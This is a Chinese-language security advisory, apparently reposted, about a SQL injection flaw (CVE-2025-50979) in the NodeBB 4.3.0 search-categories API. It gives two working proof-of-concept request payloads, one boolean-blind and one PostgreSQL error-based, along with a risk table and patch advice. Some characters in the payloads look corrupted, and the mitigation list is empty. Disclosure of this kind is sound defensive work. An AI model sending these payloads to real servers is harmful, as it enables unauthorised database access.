NodeBB 是一款广受欢迎的开源论坛平台,其 4.3.0 版本被发现存在严重的 SQL 注入漏洞。
该漏洞编号为 CVE-2025-50979,存在于 “search-categories” API 端点中,未经验证的远程攻击者可利用此漏洞注入布尔型盲注负载和 PostgreSQL 报错型负载。
漏洞若被成功利用,可能导致未授权数据访问、信息泄露或进一步的系统入侵。
核心要点
SQL 注入漏洞详情
在 NodeBB 4.3.0 版本中,“search-categories” API 的 “search” 参数在传递至底层 SQL 查询构造器之前,未经过充分的安全过滤。因此,攻击者可构造特制负载,篡改 SQL 语句的预期逻辑。以下两个概念验证(PoC)负载可体现该漏洞的严重性:
1. 布尔型盲注负载
plaintextGET /api/v3/search/categories?search=' AND 4638=4638-tbby&query[cid]=-1&parentCid=θ&selectedCids[]=-1&privilege=topics: read&states[]=watching&states[]=tracking&states[]=notwatching&showlinks=
该负载在 SQL 语句的 WHERE 子句后追加了 “AND 4638=4638”(此条件恒为真),表明攻击者可控制 SQL 查询的条件逻辑。
2. PostgreSQL 报错型注入负载
plaintextGET /api/v3/search/categories?search=-3217' OR 1251=CAST((CHR(113)||CHR(98)||CHR(118)|CHR(98)||CHR(113))||(SELECT(CASE WHEN (1251=1251) THEN 1 ELSE Θ END))::text||(CHR(113)||CHR(113)||CHR(118)||CHR(98)||CHR(113)) AS NUMERIC)-WsPn&query[cid]=-1&parentCid=ø&selectedCids[]=-1&privilege=topics: read&states[]=watching&states[]=tracking&states[]=notwatching&showlinks=
该负载会触发 PostgreSQL 数据库的类型转换错误,攻击者可通过包含注入标记的数据库错误信息,确认攻击是否成功。
| 风险因素 | 详情 |
|---|---|
| 受影响产品 | NodeBB 4.3.0 版本 |
| 影响范围 | 未授权数据访问、信息泄露、任意 SQL 执行 |
| 利用前提 | 可远程通过 HTTP 访问;无需身份验证 |
| CVSS 3.1 评分 | 9.8(严重级别) |
缓解措施
攻击者利用 CVE-2025-50979 漏洞,可读取或修改敏感数据、提升在论坛系统中的权限,甚至执行任意 SQL 命令。公网暴露的 NodeBB 实例面临极高风险,尤其是未配置严格防火墙规则或使用宽松反向代理的实例。
NodeBB 维护团队已在 4.3.1 版本中发布补丁,该补丁会对 “search” 参数进行正确的转义处理和参数化,以修复漏洞。
建议管理员立即将 NodeBB 升级至 4.3.1 版本。若无法立即升级,可采取以下临时缓解措施:
此漏洞再次凸显了 “输入过滤” 和 “SQL 交互时采用预处理语句” 的关键重要性。对于 NodeBB 这类社区平台,要抵御日益复杂的注入攻击,持续保持警惕并及时更新系统仍是核心防御手段。
关键术语补充说明
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


评论